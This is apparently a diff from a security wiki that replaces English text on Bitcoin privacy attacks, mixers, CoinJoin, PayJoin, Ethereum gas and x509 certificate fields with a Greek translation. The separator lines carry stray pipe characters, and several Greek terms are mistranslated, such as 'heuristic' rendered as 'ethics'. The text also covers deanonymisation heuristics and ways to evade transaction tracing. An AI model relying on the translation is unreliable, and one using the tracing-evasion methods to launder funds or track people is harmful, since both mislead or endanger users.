### Lightning Network
|
||||
|
||||
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
|
||||
Στοχεύει στη βελτίωση της κλιμάκωσης του Bitcoin επιτρέποντας πολλές συναλλαγές εντός ενός καναλιού, μεταδίδοντας μόνο την τελική κατάσταση στην blockchain.
|
||||
|
||||
## Bitcoin Privacy Concerns
|
||||
## Ανησυχίες για την Ιδιωτικότητα του Bitcoin
|
||||
|
||||
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
|
||||
Επιθέσεις ιδιωτικότητας, όπως **Common Input Ownership** και **UTXO Change Address Detection**, εκμεταλλεύονται τα μοτίβα συναλλαγών. Στρατηγικές όπως **Mixers** και **CoinJoin** βελτιώνουν την ανωνυμία θολώνοντας τους συνδέσμους συναλλαγών μεταξύ χρηστών.
|
||||
|
||||
## Acquiring Bitcoins Anonymously
|
||||
## Απόκτηση Bitcoins Ανώνυμα
|
||||
|
||||
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
|
||||
Μέθοδοι περιλαμβάνουν εμπορικές συναλλαγές με μετρητά, εξόρυξη και χρήση mixers. **CoinJoin** αναμειγνύει πολλές συναλλαγές για να περιπλέξει την ανιχνευσιμότητα, ενώ το **PayJoin** μεταμφιέζει τα CoinJoins ως κανονικές συναλλαγές για αυξημένη ιδιωτικότητα.
|
||||
|
||||
# Bitcoin Privacy Atacks
|
||||
# Επιθέσεις Ιδιωτικότητας Bitcoin
|
||||
|
||||
# Summary of Bitcoin Privacy Attacks
|
||||
# Περίληψη Επιθέσεων Ιδιωτικότητας Bitcoin
|
||||
|
||||
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
|
||||
Στον κόσμο του Bitcoin, η ιδιωτικότητα των συναλλαγών και η ανωνυμία των χρηστών είναι συχνά αντικείμενα ανησυχίας. Ακολουθεί μια απλοποιημένη επισκόπηση αρκετών κοινών μεθόδων μέσω των οποίων οι επιτιθέμενοι μπορούν να παραβιάσουν την ιδιωτικότητα του Bitcoin.
|
||||
|
||||
## **Common Input Ownership Assumption**
|
||||
## **Υπόθεση Κοινής Ιδιοκτησίας Εισροών**
|
||||
|
||||
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
|
||||
Είναι γενικά σπάνιο οι εισροές από διαφορετικούς χρήστες να συνδυάζονται σε μια μόνο συναλλαγή λόγω της πολυπλοκότητας που εμπλέκεται. Έτσι, **δύο διευθύνσεις εισροών στην ίδια συναλλαγή συχνά υποτίθεται ότι ανήκουν στον ίδιο ιδιοκτήτη**.
|
||||
|
||||
## **UTXO Change Address Detection**
|
||||
## **Ανίχνευση Διεύθυνσης Αλλαγής UTXO**
|
||||
|
||||
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
|
||||
Ένα UTXO, ή **Unspent Transaction Output**, πρέπει να δαπανηθεί πλήρως σε μια συναλλαγή. Εάν μόνο ένα μέρος του σταλεί σε άλλη διεύθυνση, το υπόλοιπο πηγαίνει σε μια νέα διεύθυνση αλλαγής. Οι παρατηρητές μπορούν να υποθέσουν ότι αυτή η νέα διεύθυνση ανήκει στον αποστολέα, παραβιάζοντας την ιδιωτικότητα.
|
||||
|
||||
### Example
|
||||
### Παράδειγμα
|
||||
|
||||
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
|
||||
Για να μετριαστεί αυτό, οι υπηρεσίες ανάμειξης ή η χρήση πολλαπλών διευθύνσεων μπορούν να βοηθήσουν στην θόλωση της ιδιοκτησίας.
|
||||
|
||||
## **Social Networks & Forums Exposure**
|
||||
## **Έκθεση σε Κοινωνικά Δίκτυα & Φόρουμ**
|
||||
|
||||
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
|
||||
Οι χρήστες μερικές φορές μοιράζονται τις διευθύνσεις Bitcoin τους online, καθιστώντας **εύκολο να συνδεθεί η διεύθυνση με τον ιδιοκτήτη της**.
|
||||
|
||||
## **Transaction Graph Analysis**
|
||||
## **Ανάλυση Γραφήματος Συναλλαγών**
|
||||
|
||||
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
|
||||
Οι συναλλαγές μπορούν να οπτικοποιηθούν ως γραφήματα, αποκαλύπτοντας πιθανές συνδέσεις μεταξύ χρηστών με βάση τη ροή χρημάτων.
|
||||
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
## **Υποθετική Εισροή Χωρίς Ανάγκη (Βέλτιστη Υποθετική Αλλαγή)**
|
||||
|
||||
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
|
||||
|
||||
### Example
|
||||
Αυτή η υποθετική βασίζεται στην ανάλυση συναλλαγών με πολλαπλές εισροές και εκροές για να μαντέψει ποια εκροή είναι η αλλαγή που επιστρέφει στον αποστολέα.
|
||||
|
||||
### Παράδειγμα
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
Αν η προσθήκη περισσότερων εισροών καθιστά την έξοδο αλλαγής μεγαλύτερη από οποιαδήποτε μεμονωμένη εισροή, μπορεί να μπερδέψει την ηθική.
|
||||
|
||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||
## **Υποχρεωτική Επαναχρησιμοποίηση Διευθύνσεων**
|
||||
|
||||
## **Forced Address Reuse**
|
||||
Οι επιτιθέμενοι μπορεί να στείλουν μικρά ποσά σε προηγουμένως χρησιμοποιημένες διευθύνσεις, ελπίζοντας ότι ο παραλήπτης θα τα συνδυάσει με άλλες εισροές σε μελλοντικές συναλλαγές, συνδέοντας έτσι τις διευθύνσεις μεταξύ τους.
|
||||
|
||||
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
|
||||
### Σωστή Συμπεριφορά Πορτοφολιού
|
||||
|
||||
### Correct Wallet Behavior
|
||||
Τα πορτοφόλια θα πρέπει να αποφεύγουν τη χρήση νομισμάτων που έχουν ληφθεί σε ήδη χρησιμοποιημένες, κενές διευθύνσεις για να αποτρέψουν αυτή τη διαρροή ιδιωτικότητας.
|
||||
|
||||
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
|
||||
## **Άλλες Τεχνικές Ανάλυσης Blockchain**
|
||||
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
- **Ακριβή Ποσά Πληρωμής:** Συναλλαγές χωρίς αλλαγή είναι πιθανό να είναι μεταξύ δύο διευθύνσεων που ανήκουν στον ίδιο χρήστη.
|
||||
- **Στρογγυλοί Αριθμοί:** Ένας στρογγυλός αριθμός σε μια συναλλαγή υποδηλώνει ότι είναι πληρωμή, με την μη στρογγυλή έξοδο να είναι πιθανώς η αλλαγή.
|
||||
- **Δακτυλοσκοπία Πορτοφολιού:** Διάφορα πορτοφόλια έχουν μοναδικά πρότυπα δημιουργίας συναλλαγών, επιτρέποντας στους αναλυτές να προσδιορίσουν το λογισμικό που χρησιμοποιείται και πιθανώς τη διεύθυνση αλλαγής.
|
||||
- **Συσχετίσεις Ποσού & Χρόνου:** Η αποκάλυψη χρόνων ή ποσών συναλλαγών μπορεί να καθιστά τις συναλλαγές ανιχνεύσιμες.
|
||||
|
||||
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
|
||||
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
|
||||
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
|
||||
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
|
||||
## **Ανάλυση Κίνησης**
|
||||
|
||||
## **Traffic Analysis**
|
||||
Παρακολουθώντας την κίνηση του δικτύου, οι επιτιθέμενοι μπορούν ενδεχομένως να συνδέσουν συναλλαγές ή μπλοκ με διευθύνσεις IP, θέτοντας σε κίνδυνο την ιδιωτικότητα των χρηστών. Αυτό ισχύει ιδιαίτερα αν μια οντότητα λειτουργεί πολλές κόμβους Bitcoin, ενισχύοντας την ικανότητά τους να παρακολουθούν τις συναλλαγές.
|
||||
|
||||
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
|
||||
## Περισσότερα
|
||||
|
||||
## More
|
||||
Για μια ολοκληρωμένη λίστα επιθέσεων και αμυνών ιδιωτικότητας, επισκεφθείτε το [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
# Ανώνυμες Συναλλαγές Bitcoin
|
||||
|
||||
# Anonymous Bitcoin Transactions
|
||||
## Τρόποι Απόκτησης Bitcoins Ανώνυμα
|
||||
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
- **Συναλλαγές με Μετρητά**: Απόκτηση bitcoin μέσω μετρητών.
|
||||
- **Εναλλακτικές Μετρητών**: Αγορά δωροκαρτών και ανταλλαγή τους διαδικτυακά για bitcoin.
|
||||
- **Εξόρυξη**: Ο πιο ιδιωτικός τρόπος για να κερδίσετε bitcoins είναι μέσω εξόρυξης, ειδικά όταν γίνεται μόνος, καθώς οι πισίνες εξόρυξης μπορεί να γνωρίζουν τη διεύθυνση IP του εξορύκτη. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Κλοπή**: Θεωρητικά, η κλοπή bitcoin θα μπορούσε να είναι μια άλλη μέθοδος για να το αποκτήσετε ανώνυμα, αν και είναι παράνομη και δεν συνιστάται.
|
||||
|
||||
- **Cash Transactions**: Acquiring bitcoin through cash.
|
||||
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
|
||||
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
|
||||
## Υπηρεσίες Μίξης
|
||||
|
||||
## Mixing Services
|
||||
|
||||
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
|
||||
Χρησιμοποιώντας μια υπηρεσία μίξης, ένας χρήστης μπορεί να **στείλει bitcoins** και να λάβει **διαφορετικά bitcoins σε αντάλλαγμα**, καθιστώντας δύσκολη την ανίχνευση του αρχικού κατόχου. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία να μην κρατά αρχεία και να επιστρέφει πραγματικά τα bitcoins. Εναλλακτικές επιλογές μίξης περιλαμβάνουν τα καζίνο Bitcoin.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
|
||||
**CoinJoin** συγχωνεύει πολλές συναλλαγές από διαφορετικούς χρήστες σε μία, περιπλέκοντας τη διαδικασία για οποιονδήποτε προσπαθεί να αντιστοιχίσει εισροές με εξόδους. Παρά την αποτελεσματικότητά του, οι συναλλαγές με μοναδικά μεγέθη εισροών και εξόδων μπορούν ακόμα να ανιχνευθούν.
|
||||
|
||||
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
Παραδείγματα συναλλαγών που μπορεί να χρησιμοποίησαν το CoinJoin περιλαμβάνουν `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||
Για περισσότερες πληροφορίες, επισκεφθείτε το [CoinJoin](https://coinjoin.io/en). Για μια παρόμοια υπηρεσία στο Ethereum, δείτε το [Tornado Cash](https://tornado.cash), το οποίο ανωνυμοποιεί τις συναλλαγές με κεφάλαια από εξορύκτες.
|
||||
|
||||
## PayJoin
|
||||
|
||||
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
|
||||
|
||||
Μια παραλλαγή του CoinJoin, **PayJoin** (ή P2EP), κρύβει τη συναλλαγή μεταξύ δύο μερών (π.χ., ενός πελάτη και ενός εμπόρου) ως κανονική συναλλαγή, χωρίς τα χαρακτηριστικά ίσων εξόδων που είναι χαρακτηριστικά του CoinJoin. Αυτό καθιστά εξαιρετικά δύσκολη την ανίχνευση και θα μπορούσε να ακυρώσει την κοινή ηθική ιδιοκτησίας εισροών που χρησιμοποιείται από τις οντότητες παρακολούθησης συναλλαγών.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Οι συναλλαγές όπως η παραπάνω θα μπορούσαν να είναι PayJoin, ενισχύοντας την ιδιωτικότητα ενώ παραμένουν αδιάκριτες από τις τυπικές συναλλαγές bitcoin.
|
||||
|
||||
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||
**Η αξιοποίηση του PayJoin θα μπορούσε να διαταράξει σημαντικά τις παραδοσιακές μεθόδους επιτήρησης**, καθιστώντας το μια υποσχόμενη εξέλιξη στην επιδίωξη της συναλλακτικής ιδιωτικότητας.
|
||||
|
||||
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
|
||||
# Καλές Πρακτικές για Ιδιωτικότητα στις Κρυπτονομίσματα
|
||||
|
||||
# Best Practices for Privacy in Cryptocurrencies
|
||||
## **Τεχνικές Συγχρονισμού Πορτοφολιών**
|
||||
|
||||
## **Wallet Synchronization Techniques**
|
||||
Για να διατηρηθεί η ιδιωτικότητα και η ασφάλεια, ο συγχρονισμός των πορτοφολιών με την blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν:
|
||||
|
||||
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
|
||||
- **Πλήρης κόμβος**: Κατεβάζοντας ολόκληρη την blockchain, ένας πλήρης κόμβος εξασφαλίζει μέγιστη ιδιωτικότητα. Όλες οι συναλλαγές που έχουν γίνει ποτέ αποθηκεύονται τοπικά, καθιστώντας αδύνατο για τους αντιπάλους να προσδιορίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρει ο χρήστης.
|
||||
- **Φιλτράρισμα μπλοκ από την πλευρά του πελάτη**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε μπλοκ στην blockchain, επιτρέποντας στα πορτοφόλια να εντοπίζουν σχετικές συναλλαγές χωρίς να εκθέτουν συγκεκριμένα ενδιαφέροντα σε παρατηρητές του δικτύου. Τα ελαφριά πορτοφόλια κατεβάζουν αυτά τα φίλτρα, ανακτώντας πλήρη μπλοκ μόνο όταν βρεθεί αντιστοιχία με τις διευθύνσεις του χρήστη.
|
||||
|
||||
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
|
||||
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
|
||||
## **Χρήση του Tor για Ανωνυμία**
|
||||
|
||||
## **Utilizing Tor for Anonymity**
|
||||
Δεδομένου ότι το Bitcoin λειτουργεί σε ένα δίκτυο peer-to-peer, συνιστάται η χρήση του Tor για να καλύψετε τη διεύθυνση IP σας, ενισχύοντας την ιδιωτικότητα κατά την αλληλεπίδραση με το δίκτυο.
|
||||
|
||||
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
|
||||
## **Πρόληψη Επαναχρησιμοποίησης Διευθύνσεων**
|
||||
|
||||
## **Preventing Address Reuse**
|
||||
Για να προστατευθεί η ιδιωτικότητα, είναι ζωτικής σημασίας να χρησιμοποιείτε μια νέα διεύθυνση για κάθε συναλλαγή. Η επαναχρησιμοποίηση διευθύνσεων μπορεί να θέσει σε κίνδυνο την ιδιωτικότητα συνδέοντας συναλλαγές με την ίδια οντότητα. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επαναχρησιμοποίηση διευθύνσεων μέσω του σχεδιασμού τους.
|
||||
|
||||
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
|
||||
## **Στρατηγικές για Ιδιωτικότητα Συναλλαγών**
|
||||
|
||||
## **Strategies for Transaction Privacy**
|
||||
- **Πολλές συναλλαγές**: Η διαίρεση μιας πληρωμής σε πολλές συναλλαγές μπορεί να θολώσει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις κατά της ιδιωτικότητας.
|
||||
- **Αποφυγή αλλαγής**: Η επιλογή συναλλαγών που δεν απαιτούν εξόδους αλλαγής ενισχύει την ιδιωτικότητα διαταράσσοντας τις μεθόδους ανίχνευσης αλλαγής.
|
||||
- **Πολλές εξόδους αλλαγής**: Εάν η αποφυγή αλλαγής δεν είναι εφικτή, η δημιουργία πολλών εξόδων αλλαγής μπορεί να βελτιώσει την ιδιωτικότητα.
|
||||
|
||||
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
|
||||
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
|
||||
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
|
||||
# **Monero: Ένας Φάρος Ανωνυμίας**
|
||||
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
Το Monero καλύπτει την ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας υψηλά πρότυπα για την ιδιωτικότητα.
|
||||
|
||||
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
|
||||
# **Ethereum: Gas και Συναλλαγές**
|
||||
|
||||
# **Ethereum: Gas and Transactions**
|
||||
## **Κατανόηση του Gas**
|
||||
|
||||
## **Understanding Gas**
|
||||
Το gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογούμενο σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2,310,000 gwei (ή 0.00231 ETH) περιλαμβάνει ένα όριο gas και μια βασική χρέωση, με ένα φιλοδώρημα για να ενθαρρύνει τους miners. Οι χρήστες μπορούν να ορίσουν μια μέγιστη χρέωση για να διασφαλίσουν ότι δεν θα πληρώσουν υπερβολικά, με την υπερβάλλουσα χρέωση να επιστρέφεται.
|
||||
|
||||
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
|
||||
## **Εκτέλεση Συναλλαγών**
|
||||
|
||||
## **Executing Transactions**
|
||||
Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, οι οποίοι μπορεί να είναι είτε διευθύνσεις χρηστών είτε έξυπνων συμβολαίων. Απαιτούν μια χρέωση και πρέπει να εξορυχθούν. Οι βασικές πληροφορίες σε μια συναλλαγή περιλαμβάνουν τον παραλήπτη, την υπογραφή του αποστολέα, την αξία, προαιρετικά δεδομένα, το όριο gas και τις χρεώσεις. Σημαντικά, η διεύθυνση του αποστολέα deduced από την υπογραφή, εξαλείφοντας την ανάγκη για αυτήν στα δεδομένα της συναλλαγής.
|
||||
|
||||
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
|
||||
Αυτές οι πρακτικές και μηχανισμοί είναι θεμελιώδεις για οποιονδήποτε επιθυμεί να ασχοληθεί με τα κρυπτονομίσματα ενώ δίνει προτεραιότητα στην ιδιωτικότητα και την ασφάλεια.
|
||||
|
||||
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
|
||||
@ -1,47 +1,38 @@
|
||||
# Certificates
|
||||
# Πιστοποιητικά
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
## Τι είναι ένα Πιστοποιητικό
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Ένα **δημόσιο κλειδί πιστοποιητικό** είναι μια ψηφιακή ταυτότητα που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τις λεπτομέρειες του κλειδιού, την ταυτότητα του κατόχου (το υποκείμενο) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (τον εκδότη). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον κάτοχο του κλειδιού.
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
|
||||
Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) σε μια [υποδομή δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Μια άλλη μέθοδος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web_of_trust), όπου οι χρήστες επαληθεύουν άμεσα τα κλειδιά ο ένας του άλλου. Η κοινή μορφή για τα πιστοποιητικά είναι [X.509](https://en.wikipedia.org/wiki/X.509), η οποία μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες όπως περιγράφεται στο RFC 5280.
|
||||
|
||||
## What is a Certificate
|
||||
## x509 Κοινά Πεδία
|
||||
|
||||
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
|
||||
### **Κοινά Πεδία σε Πιστοποιητικά x509**
|
||||
|
||||
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
|
||||
Στα πιστοποιητικά x509, αρκετά **πεδία** παίζουν κρίσιμους ρόλους στην εξασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Ακολουθεί μια ανάλυση αυτών των πεδίων:
|
||||
|
||||
## x509 Common Fields
|
||||
- **Αριθμός Έκδοσης** σηματοδοτεί την έκδοση της μορφής x509.
|
||||
- **Αριθμός Σειράς** προσδιορίζει μοναδικά το πιστοποιητικό μέσα στο σύστημα μιας Αρχής Πιστοποίησης (CA), κυρίως για παρακολούθηση ανάκλησης.
|
||||
- Το **Υποκείμενο** πεδίο αντιπροσωπεύει τον κάτοχο του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή ένας οργανισμός. Περιλαμβάνει λεπτομερή ταυτοποίηση όπως:
|
||||
- **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό.
|
||||
- **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργάνωση (O)**, και **Οργανωτική Μονάδα (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες.
|
||||
- **Διακεκριμένο Όνομα (DN)** περιλαμβάνει την πλήρη ταυτοποίηση του υποκειμένου.
|
||||
- **Εκδότης** αναφέρει ποιος επαλήθευσε και υπέγραψε το πιστοποιητικό, συμπεριλαμβάνοντας παρόμοια υποπεδία όπως το Υποκείμενο για την CA.
|
||||
- **Περίοδος Ικανότητας** σηματοδοτείται από τις χρονικές σφραγίδες **Όχι Πριν** και **Όχι Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία.
|
||||
- Η ενότητα **Δημόσιου Κλειδιού**, κρίσιμη για την ασφάλεια του πιστοποιητικού, προσδιορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού.
|
||||
- Οι **επέκταση x509v3** ενισχύουν τη λειτουργικότητα του πιστοποιητικού, προσδιορίζοντας **Χρήση Κλειδιού**, **Εκτεταμένη Χρήση Κλειδιού**, **Εναλλακτικό Όνομα Υποκειμένου**, και άλλες ιδιότητες για την ακριβή ρύθμιση της εφαρμογής του πιστοποιητικού.
|
||||
|
||||
### **Common Fields in x509 Certificates**
|
||||
|
||||
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
|
||||
|
||||
- **Version Number** signifies the x509 format's version.
|
||||
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
|
||||
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
|
||||
- **Common Name (CN)**: Domains covered by the certificate.
|
||||
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
|
||||
- **Distinguished Name (DN)** encapsulates the full subject identification.
|
||||
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
|
||||
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
|
||||
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
|
||||
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
|
||||
|
||||
#### **Key Usage and Extensions**
|
||||
|
||||
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
|
||||
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
|
||||
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
|
||||
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
|
||||
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
|
||||
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
|
||||
#### **Χρήση Κλειδιού και Επεκτάσεις**
|
||||
|
||||
- **Χρήση Κλειδιού** προσδιορίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως ψηφιακή υπογραφή ή κρυπτογράφηση κλειδιού.
|
||||
- **Εκτεταμένη Χρήση Κλειδιού** περιορίζει περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, π.χ., για πιστοποίηση διακομιστή TLS.
|
||||
- **Εναλλακτικό Όνομα Υποκειμένου** και **Βασικός Περιορισμός** καθορίζουν πρόσθετα ονόματα κεντρικών υπολογιστών που καλύπτονται από το πιστοποιητικό και αν είναι πιστοποιητικό CA ή τελικού φορέα, αντίστοιχα.
|
||||
- Αναγνωριστικά όπως **Αναγνωριστικό Κλειδιού Υποκειμένου** και **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν μοναδικότητα και ιχνηλασιμότητα των κλειδιών.
|
||||
- **Πρόσβαση Πληροφοριών Αρχής** και **Σημεία Διανομής CRL** παρέχουν διαδρομές για την επαλήθευση της εκδούσας CA και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού.
|
||||
- **CT Προπιστοποιητικά SCTs** προσφέρουν διαφάνεια, κρίσιμη για τη δημόσια εμπιστοσύνη στο πιστοποιητικό.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
|
||||
|
||||
